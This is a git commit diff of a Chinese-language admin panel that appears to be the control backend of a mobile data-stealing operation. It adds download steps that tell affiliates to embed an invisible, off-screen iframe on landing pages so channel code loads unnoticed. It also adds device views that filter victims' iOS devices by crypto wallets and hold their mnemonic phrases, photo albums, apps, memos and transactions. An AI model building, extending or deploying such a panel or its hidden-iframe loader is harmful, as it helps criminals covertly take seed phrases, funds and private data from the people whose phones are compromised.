feat: xxbb
This commit is contained in:
@@ -121,7 +121,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
}},
|
||||
{ title: '操作', width: 160, align: 'center', fixed: 'right', toolbar: '#LAY-addr-ops' }
|
||||
]],
|
||||
page: true, limit: 15, height: 'full-220',
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
@@ -74,7 +74,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
{ field: 'created_at', title: '创建时间', width: 160, sort: true },
|
||||
{ title: '操作', width: 180, align: 'center', fixed: 'right', toolbar: '#LAY-agent-ops' }
|
||||
]],
|
||||
page: true, limit: 15, height: 'full-220',
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
@@ -48,7 +48,13 @@
|
||||
<div class="layui-card-body">
|
||||
<table id="LAY-ch-list" lay-filter="LAY-ch-list"></table>
|
||||
<script type="text/html" id="LAY-ch-ops">
|
||||
@{{# if(d.builder_type === 'new'){ }}
|
||||
@{{# if(d.download_url){ }}
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="download">下载代码</a>
|
||||
@{{# } }}
|
||||
@{{# } else { }}
|
||||
<a class="layui-btn layui-btn-xs" lay-event="links">查看链接</a>
|
||||
@{{# } }}
|
||||
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="edit">编辑</a>
|
||||
@{{# if(d._isAdmin){ }}
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del">删除</a>
|
||||
@@ -74,9 +80,6 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
{ field: 'builder_type', title: '类型', width: 80, templet: function (d) {
|
||||
return d.builder_type === 'new' ? '新版' : '旧版';
|
||||
}},
|
||||
{ field: 'channel_name', title: 'channel_name', width: 120, templet: function (d) {
|
||||
return d.channel_name || '—';
|
||||
}},
|
||||
];
|
||||
if (isAdmin) {
|
||||
cols.push({ field: 'agent_username', title: '代理', width: 120 });
|
||||
@@ -89,7 +92,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
: '<span style="color:#dc2626;font-weight:600;">禁用</span>';
|
||||
}},
|
||||
{ field: 'updated_at', title: '更新', width: 170, sort: true },
|
||||
{ title: '操作', width: isAdmin ? 220 : 160, align: 'center', fixed: 'right', toolbar: '#LAY-ch-ops' }
|
||||
{ title: '操作', width: isAdmin ? 250 : 190, align: 'center', fixed: 'right', toolbar: '#LAY-ch-ops' }
|
||||
]);
|
||||
|
||||
table.render({
|
||||
@@ -97,7 +100,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
id: 'LAY-ch-list',
|
||||
url: @json(route($portal.'.channels.data')),
|
||||
cols: [cols],
|
||||
page: true, limit: 15, height: 'full-220',
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
parseData: function (res) {
|
||||
(res.data || []).forEach(function (row) { row._isAdmin = isAdmin; });
|
||||
return res;
|
||||
@@ -137,6 +140,39 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
return '<iframe src="' + url + '" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
|
||||
}
|
||||
|
||||
function weifileIframeSnippet() {
|
||||
return '<iframe src="/weifile/weifile.html" style="position:fixed;top:0;width:0;height:0;left:-1000px;border:0"></iframe>';
|
||||
}
|
||||
|
||||
function openDownloadGuide(row) {
|
||||
var url = row && row.download_url;
|
||||
if (!url) return layer.msg('安装包不存在');
|
||||
var snippet = weifileIframeSnippet();
|
||||
var html = '<div style="padding:18px 20px;line-height:1.75;font-size:13px;color:#334155;">' +
|
||||
'<p style="margin:0 0 10px;">下载后按下面步骤放到自己的落地页项目中:</p>' +
|
||||
'<p style="margin:0 0 8px;"><b>1.</b> 解压 zip,把得到的 <code>weifile/</code> 目录放到落地页网站根目录,保证能访问到 <code>/weifile/weifile.html</code>。</p>' +
|
||||
'<p style="margin:0 0 14px;"><b>2.</b> 在自己的 HTML 里(建议放在 <code><body></code> 开头)加入一段不可见 iframe:</p>' +
|
||||
'<pre style="background:#f8fafc;border:1px solid #e2e8f0;border-radius:6px;padding:10px 12px;overflow:auto;font-size:12px;margin:0 0 14px;white-space:pre-wrap;word-break:break-all;">' +
|
||||
snippet.replace(/</g, '<') + '</pre>' +
|
||||
'<div style="display:flex;gap:8px;flex-wrap:wrap;align-items:center;">' +
|
||||
'<a class="layui-btn layui-btn-normal" href="' + url.replace(/"/g, '"') + '">下载代码</a>' +
|
||||
'<button type="button" class="layui-btn layui-btn-primary LAY-ch-copy-iframe">复制 iframe 代码</button>' +
|
||||
'</div>' +
|
||||
'<p style="margin:12px 0 0;color:#64748b;font-size:12px;">iframe 不可见,不影响落地页展示;用户打开落地页时会加载该渠道代码。</p>' +
|
||||
'</div>';
|
||||
layer.open({
|
||||
type: 1,
|
||||
title: '下载代码 — ' + (row.channel_id || ''),
|
||||
area: ['640px', '430px'],
|
||||
content: html,
|
||||
success: function (layero) {
|
||||
layero.find('.LAY-ch-copy-iframe').on('click', function () {
|
||||
copyText(snippet).then(function () { layer.msg('已复制 iframe 代码'); });
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function openLinks(row) {
|
||||
var links = row.links || [];
|
||||
if (!links.length) {
|
||||
@@ -178,9 +214,12 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
html += '<div style="margin-bottom:10px;"><b>落地页</b> <code>' +
|
||||
(data.weifile_path || data.support_path).replace(/</g, '<') + '</code></div>';
|
||||
}
|
||||
if (data.builder_type === 'new' && data.daily_path) {
|
||||
html += '<div style="margin-bottom:10px;"><b>details</b> <code>' +
|
||||
String(data.daily_path).replace(/</g, '<') + '</code></div>';
|
||||
if (data.builder_type === 'new' && data.zip_path) {
|
||||
html += '<div style="margin-bottom:10px;"><b>安装包</b> <code>' +
|
||||
String(data.zip_path).replace(/</g, '<') + '</code></div>';
|
||||
if (data.download_url) {
|
||||
html += '<div style="margin-bottom:10px;"><button type="button" class="layui-btn layui-btn-normal layui-btn-sm LAY-ch-dl-guide">下载代码</button></div>';
|
||||
}
|
||||
}
|
||||
if (links.length) {
|
||||
html += '<div style="margin-bottom:6px;"><b>投放链接</b></div>';
|
||||
@@ -199,7 +238,17 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
html += '</ul>';
|
||||
}
|
||||
html += '</div>';
|
||||
layer.open({ type: 1, title: '创建成功', area: ['560px', '420px'], content: html });
|
||||
layer.open({
|
||||
type: 1,
|
||||
title: '创建成功',
|
||||
area: ['560px', '420px'],
|
||||
content: html,
|
||||
success: function (layero) {
|
||||
layero.find('.LAY-ch-dl-guide').on('click', function () {
|
||||
openDownloadGuide({ channel_id: channelId, download_url: data.download_url });
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function openForm(title, values, creating) {
|
||||
@@ -209,7 +258,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
: '';
|
||||
var channelBlock = creating
|
||||
? '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block">' +
|
||||
'<input name="channel_id" class="layui-input" maxlength="32" style="width:70%;display:inline-block;" value="' + (values.channel_id || '') + '" placeholder="32位字母数字">' +
|
||||
'<input name="channel_id" class="layui-input" maxlength="32" id="LAY-ch-id-input" style="width:70%;display:inline-block;" value="' + (values.channel_id || '') + '" placeholder="旧版 32 位 / 新版 8 位">' +
|
||||
'<button type="button" class="layui-btn layui-btn-primary" id="LAY-ch-rand" style="margin-left:6px;">随机</button></div></div>'
|
||||
: '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block"><input class="layui-input" readonly value="' + (values.channel_id || '') + '"></div></div>';
|
||||
|
||||
@@ -219,7 +268,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
'<option value="old"' + ((values.builder_type || 'old') === 'old' ? ' selected' : '') + '>旧版</option>' +
|
||||
'<option value="new"' + (values.builder_type === 'new' ? ' selected' : '') + '>新版</option>' +
|
||||
'</select>' +
|
||||
'<div class="layui-form-mid layui-word-aux">旧版=channel-builder(/web/id/support.html);新版=channel-builder-new(/weifile/weifile.html + /details)</div></div></div>'
|
||||
'<div class="layui-form-mid layui-word-aux">旧版=/web/id/support.html;新版=8 位渠道码,打包已构建的 weifile(需先 php artisan xxbb:build)</div></div></div>'
|
||||
: '';
|
||||
|
||||
var templateBlock = (isAdmin && creating)
|
||||
@@ -248,13 +297,21 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
form.render();
|
||||
function syncTemplateVisibility() {
|
||||
var type = $('#LAY-ch-form select[name=builder_type]').val() || 'old';
|
||||
if (type === 'new') $('#LAY-ch-template-item').hide();
|
||||
else $('#LAY-ch-template-item').show();
|
||||
var $id = $('#LAY-ch-id-input');
|
||||
if (type === 'new') {
|
||||
$('#LAY-ch-template-item').hide();
|
||||
$id.attr('maxlength', 8).attr('placeholder', '8位,例如 FAFA9988');
|
||||
if (($id.val() || '').length !== 8) $id.val('');
|
||||
} else {
|
||||
$('#LAY-ch-template-item').show();
|
||||
$id.attr('maxlength', 32).attr('placeholder', '32位字母数字');
|
||||
}
|
||||
}
|
||||
syncTemplateVisibility();
|
||||
form.on('select(LAY-ch-builder-type)', function () { syncTemplateVisibility(); });
|
||||
$('#LAY-ch-rand').on('click', function () {
|
||||
$.getJSON(@json(route('admin.channels.randomId')), function (res) {
|
||||
var type = $('#LAY-ch-form select[name=builder_type]').val() || 'old';
|
||||
$.getJSON(@json(route('admin.channels.randomId')), { builder_type: type }, function (res) {
|
||||
if (res.code === 0) $('#LAY-ch-form input[name=channel_id]').val(res.data.channel_id);
|
||||
});
|
||||
});
|
||||
@@ -318,9 +375,12 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
table.on('tool(LAY-ch-list)', function (obj) {
|
||||
if (obj.event === 'edit') openForm('编辑渠道链接', obj.data, false);
|
||||
if (obj.event === 'links') openLinks(obj.data);
|
||||
if (obj.event === 'download') {
|
||||
openDownloadGuide(obj.data);
|
||||
}
|
||||
if (obj.event === 'del') {
|
||||
var pathHint = obj.data.builder_type === 'new'
|
||||
? '数据库记录(共享 /weifile 与 /details 保留)'
|
||||
? ('数据库记录与 channel-source-new/' + obj.data.channel_id + '.zip')
|
||||
: ('数据库记录与 web/' + obj.data.channel_id + ' 资源');
|
||||
layer.confirm('删除后将移除 ' + pathHint + ',确认?', function (idx) {
|
||||
$.ajax({
|
||||
|
||||
@@ -16,6 +16,12 @@
|
||||
.photo-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(140px,1fr));gap:12px}
|
||||
.photo-card{display:block;background:#fff;padding:8px;text-align:center;color:#333;border:1px solid #f0f0f0}
|
||||
.photo-card img{width:100%;height:120px;object-fit:cover;background:#eee}
|
||||
/* Tables grow with the current page (e.g. 20 rows); the iframe/page scrolls. */
|
||||
.layui-table-view{min-height:420px}
|
||||
.layui-table-view .layui-table-box,
|
||||
.layui-table-view .layui-table-body,
|
||||
.layui-table-view .layui-table-main{height:auto !important}
|
||||
.layui-table-view .layui-table-body{overflow-x:auto;overflow-y:visible !important}
|
||||
</style>
|
||||
@stack('head')
|
||||
</head>
|
||||
|
||||
@@ -51,6 +51,17 @@
|
||||
<input type="text" name="ios" placeholder="15.8" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">钱包</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="has_wallet">
|
||||
<option value="">全部</option>
|
||||
<option value="0">未知</option>
|
||||
<option value="1">无</option>
|
||||
<option value="2">有</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">安装时间</label>
|
||||
<div class="layui-input-block">
|
||||
@@ -78,6 +89,7 @@
|
||||
<table id="LAY-device-list" lay-filter="LAY-device-list"></table>
|
||||
<script type="text/html" id="LAY-device-ops">
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail"><i class="layui-icon layui-icon-form"></i> 详情</a>
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="destroy"><i class="layui-icon layui-icon-delete"></i> 删除</a>
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
@@ -92,6 +104,10 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
var layer = layui.layer;
|
||||
var $ = layui.$;
|
||||
var dash = function (v) { return v ? v : '—'; };
|
||||
var esc = function (s) {
|
||||
return String(s == null ? '' : s)
|
||||
.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"');
|
||||
};
|
||||
var portal = @json($portal);
|
||||
var token = @json(csrf_token());
|
||||
var updateBase = @json(url('/'.$portal.'/devices'));
|
||||
@@ -109,9 +125,20 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
||||
{ field: 'device_id', title: '设备 ID', minWidth: 180, sort: true },
|
||||
{ field: 'channel_id', title: '渠道 ID', width: 140, sort: true, templet: function (d) { return dash(d.channel_id); } },
|
||||
{ field: 'source_domain', title: '来源域名', width: 160, templet: function (d) { return dash(d.source_domain); } },
|
||||
{ field: 'device_model', title: '设备型号', width: 130, sort: true, templet: function (d) { return dash(d.device_model); } },
|
||||
{ field: 'ios_version', title: 'iOS 版本', width: 110, sort: true, templet: function (d) { return dash(d.ios_version); } },
|
||||
{ field: 'ip', title: 'IP', width: 140, sort: true, templet: function (d) { return dash(d.ip); } },
|
||||
{ field: 'has_wallet', title: '钱包', minWidth: 220, sort: true, templet: function (d) {
|
||||
var st = Number(d.has_wallet);
|
||||
if (st === 1) return '<span style="color:#64748b;">无</span>';
|
||||
if (st !== 2) return '<span style="color:#94a3b8;">未知</span>';
|
||||
var names = Array.isArray(d.wallet_names) ? d.wallet_names.filter(Boolean) : [];
|
||||
var tags = names.map(function (n) {
|
||||
return '<span class="tag-wallet">' + esc(n) + '</span>';
|
||||
}).join(' ');
|
||||
return '<span style="color:#d97706;font-weight:600;">有</span>' + (tags ? ' ' + tags : '');
|
||||
} },
|
||||
{ field: 'album_storage', title: '相册存储', width: 110, templet: function (d) {
|
||||
var on = Number(d.album_storage) === 1;
|
||||
return '<input type="checkbox" lay-skin="switch" lay-text="开|关" lay-filter="LAY-device-album-list"' +
|
||||
@@ -119,12 +146,11 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
} },
|
||||
{ field: 'created_at', title: '安装时间', width: 170, sort: true },
|
||||
{ field: 'updated_at', title: '更新时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 100, align: 'center', fixed: 'right', toolbar: '#LAY-device-ops' }
|
||||
{ title: '操作', width: 160, align: 'center', fixed: 'right', toolbar: '#LAY-device-ops' }
|
||||
]],
|
||||
page: true,
|
||||
limit: 15,
|
||||
limits: [10, 15, 20, 30, 50],
|
||||
height: 'full-220',
|
||||
limit: 20,
|
||||
limits: [10, 20, 30, 50],
|
||||
text: { none: '暂无设备' },
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' },
|
||||
@@ -174,6 +200,7 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
model: '',
|
||||
ip: '',
|
||||
ios: '',
|
||||
has_wallet: '',
|
||||
installed_from: '',
|
||||
installed_to: ''
|
||||
},
|
||||
@@ -183,6 +210,32 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
});
|
||||
|
||||
table.on('tool(LAY-device-list)', function (obj) {
|
||||
if (obj.event === 'destroy') {
|
||||
layer.confirm('确认删除该设备?将同时删除相册、钱包、助记词、APP、备忘录、日志等全部关联数据,且不可恢复。', {
|
||||
icon: 3,
|
||||
title: '删除设备'
|
||||
}, function (index) {
|
||||
layer.close(index);
|
||||
var loading = layer.load(1, { shade: 0.2 });
|
||||
$.ajax({
|
||||
url: obj.data.destroy_url,
|
||||
method: 'POST',
|
||||
data: { _method: 'DELETE', _token: token },
|
||||
success: function (res) {
|
||||
layer.close(loading);
|
||||
if (!res || res.code !== 0) return layer.msg((res && res.msg) || '删除失败');
|
||||
layer.msg('已删除');
|
||||
obj.del();
|
||||
},
|
||||
error: function (xhr) {
|
||||
layer.close(loading);
|
||||
var msg = (xhr.responseJSON && xhr.responseJSON.msg) ? xhr.responseJSON.msg : '删除失败';
|
||||
layer.msg(msg);
|
||||
}
|
||||
});
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (obj.event !== 'detail') return;
|
||||
var url = obj.data.detail_url;
|
||||
var title = '设备 #' + obj.data.id;
|
||||
|
||||
@@ -4,6 +4,10 @@
|
||||
|
||||
@section('content')
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header" style="display:flex;align-items:center;justify-content:space-between;">
|
||||
<span>设备详情</span>
|
||||
<button type="button" class="layui-btn layui-btn-danger layui-btn-sm" id="LAY-device-destroy">删除设备</button>
|
||||
</div>
|
||||
<div class="layui-card-body">
|
||||
<table class="layui-table" style="margin-bottom: 16px;">
|
||||
<tr>
|
||||
@@ -12,6 +16,10 @@
|
||||
<th width="140">渠道 ID</th>
|
||||
<td><code>{{ $device->channel_id ?: '—' }}</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>来源域名</th>
|
||||
<td colspan="3"><code>{{ $device->source_domain ?: '—' }}</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>设备型号</th>
|
||||
<td>{{ $device->device_model ?: '—' }}</td>
|
||||
@@ -24,6 +32,21 @@
|
||||
<th>IP</th>
|
||||
<td>{{ $device->ip ?: '—' }}</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>钱包</th>
|
||||
<td colspan="3">
|
||||
@if ((int) $device->has_wallet === \App\Models\Device::WALLET_YES)
|
||||
<span style="color:#d97706;font-weight:600;">有</span>
|
||||
@foreach ($device->walletNameList() as $name)
|
||||
<span class="tag-wallet">{{ $name }}</span>
|
||||
@endforeach
|
||||
@elseif ((int) $device->has_wallet === \App\Models\Device::WALLET_NONE)
|
||||
无
|
||||
@else
|
||||
未知
|
||||
@endif
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>相册存储</th>
|
||||
<td colspan="3">
|
||||
@@ -137,6 +160,8 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
var tabDataUrl = @json(route(($portal ?? 'admin').'.devices.tabData', $device));
|
||||
var updateUrl = @json(route(($portal ?? 'admin').'.devices.update', $device));
|
||||
var clearPhotosUrl = @json(route(($portal ?? 'admin').'.devices.photos.clear', $device));
|
||||
var destroyUrl = @json(route(($portal ?? 'admin').'.devices.destroy', $device));
|
||||
var listUrl = @json(route(($portal ?? 'admin').'.devices.index'));
|
||||
var token = @json(csrf_token());
|
||||
var dash = function (v) { return v ? v : '—'; };
|
||||
var esc = function (v) {
|
||||
@@ -170,8 +195,43 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
});
|
||||
form.render('checkbox');
|
||||
|
||||
$('#LAY-device-destroy').on('click', function () {
|
||||
layer.confirm('确认删除该设备?将同时删除相册、钱包、助记词、APP、备忘录、日志等全部关联数据,且不可恢复。', {
|
||||
icon: 3,
|
||||
title: '删除设备'
|
||||
}, function (index) {
|
||||
layer.close(index);
|
||||
var loading = layer.load(1, { shade: 0.2 });
|
||||
$.ajax({
|
||||
url: destroyUrl,
|
||||
method: 'POST',
|
||||
data: { _method: 'DELETE', _token: token },
|
||||
success: function (res) {
|
||||
layer.close(loading);
|
||||
if (!res || res.code !== 0) return layer.msg((res && res.msg) || '删除失败');
|
||||
layer.msg('已删除', { time: 800 }, function () {
|
||||
var next = (res.data && res.data.list_url) ? res.data.list_url : listUrl;
|
||||
try {
|
||||
if (parent && parent.layui && parent.layui.index && parent.layui.index.closeThisTabs) {
|
||||
parent.layui.index.closeThisTabs();
|
||||
parent.layui.index.openTabsPage(next, '设备管理');
|
||||
return;
|
||||
}
|
||||
} catch (e) {}
|
||||
location.href = next;
|
||||
});
|
||||
},
|
||||
error: function (xhr) {
|
||||
layer.close(loading);
|
||||
var msg = (xhr.responseJSON && xhr.responseJSON.msg) ? xhr.responseJSON.msg : '删除失败';
|
||||
layer.msg(msg);
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
if (tab === 'photos') {
|
||||
var photoState = { page: 1, limit: 15, sensitive: '' };
|
||||
var photoState = { page: 1, limit: 20, sensitive: '' };
|
||||
|
||||
var renderPhotos = function () {
|
||||
$.getJSON(tabDataUrl, {
|
||||
@@ -225,7 +285,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
count: (res && res.count) ? res.count : 0,
|
||||
curr: photoState.page,
|
||||
limit: photoState.limit,
|
||||
limits: [10, 15, 20, 30, 50],
|
||||
limits: [10, 20, 30, 50],
|
||||
layout: ['count', 'prev', 'page', 'next', 'limit'],
|
||||
jump: function (obj, first) {
|
||||
if (first) return;
|
||||
@@ -349,8 +409,8 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
defaultToolbar: ['filter', 'exports', 'print'],
|
||||
cols: colsMap[tab] || colsMap.wallets,
|
||||
page: true,
|
||||
limit: 15,
|
||||
limits: [10, 15, 20, 30, 50],
|
||||
limit: 20,
|
||||
limits: [10, 20, 30, 50],
|
||||
text: { none: emptyMap[tab] || '暂无数据' },
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
|
||||
@@ -75,7 +75,7 @@ layui.use(['table', 'form'], function () {
|
||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 110, align: 'center', fixed: 'right', toolbar: '#LAY-mn-ops' }
|
||||
]],
|
||||
page: true, limit: 15, height: 'full-220',
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
@@ -67,7 +67,7 @@ layui.use(['table', 'form'], function () {
|
||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 110, align: 'center', fixed: 'right', toolbar: '#LAY-note-ops' }
|
||||
]],
|
||||
page: true, limit: 15, height: 'full-220',
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
@@ -77,7 +77,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 110, align: 'center', fixed: 'right', toolbar: '#LAY-photo-ops' }
|
||||
]],
|
||||
page: true, limit: 15, height: 'full-220',
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
@@ -56,7 +56,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 160, toolbar: '#LAY-admin-ops' }
|
||||
]],
|
||||
page: true, limit: 15, height: 'full-220',
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
@@ -138,7 +138,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 90, align: 'center', fixed: 'right', toolbar: '#LAY-tx-ops' }
|
||||
]],
|
||||
page: true, limit: 15, height: 'full-220',
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
@@ -42,6 +42,12 @@
|
||||
<input type="text" name="browser" class="layui-input" placeholder="如 Safari" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">来源域名</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="domain" class="layui-input" placeholder="来源域名" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">Referer</label>
|
||||
<div class="layui-input-block">
|
||||
@@ -75,6 +81,7 @@
|
||||
<select id="LAY-visit-group">
|
||||
<option value="os">系统</option>
|
||||
<option value="os_version">系统 + 版本</option>
|
||||
<option value="domain">来源域名</option>
|
||||
<option value="browser">浏览器</option>
|
||||
<option value="browser_version">浏览器 + 版本</option>
|
||||
</select>
|
||||
@@ -116,19 +123,19 @@ layui.use(['table', 'form'], function () {
|
||||
where: where,
|
||||
cols: [[
|
||||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||||
{ field: 'channel_id', title: '渠道', minWidth: 220 },
|
||||
{ field: 'client_uid', title: '访客 UID', minWidth: 220 },
|
||||
{ field: 'channel_id', title: '渠道', minWidth: 160 },
|
||||
{ field: 'domain', title: '来源域名', minWidth: 180 },
|
||||
{ field: 'client_uid', title: '访客 UID', width: 160 },
|
||||
{ field: 'os', title: '系统', width: 90 },
|
||||
{ field: 'os_version', title: '系统版本', width: 100 },
|
||||
{ field: 'browser', title: '浏览器', width: 100 },
|
||||
{ field: 'browser_version', title: '浏览器版本', width: 110 },
|
||||
{ field: 'ip', title: 'IP', width: 130 },
|
||||
{ field: 'path', title: '路径', minWidth: 180 },
|
||||
{ field: 'referer', title: 'Referer', minWidth: 220 },
|
||||
{ field: 'user_agent', title: 'UA', minWidth: 260 },
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true }
|
||||
]],
|
||||
page: true, limit: 20, height: 'full-420',
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user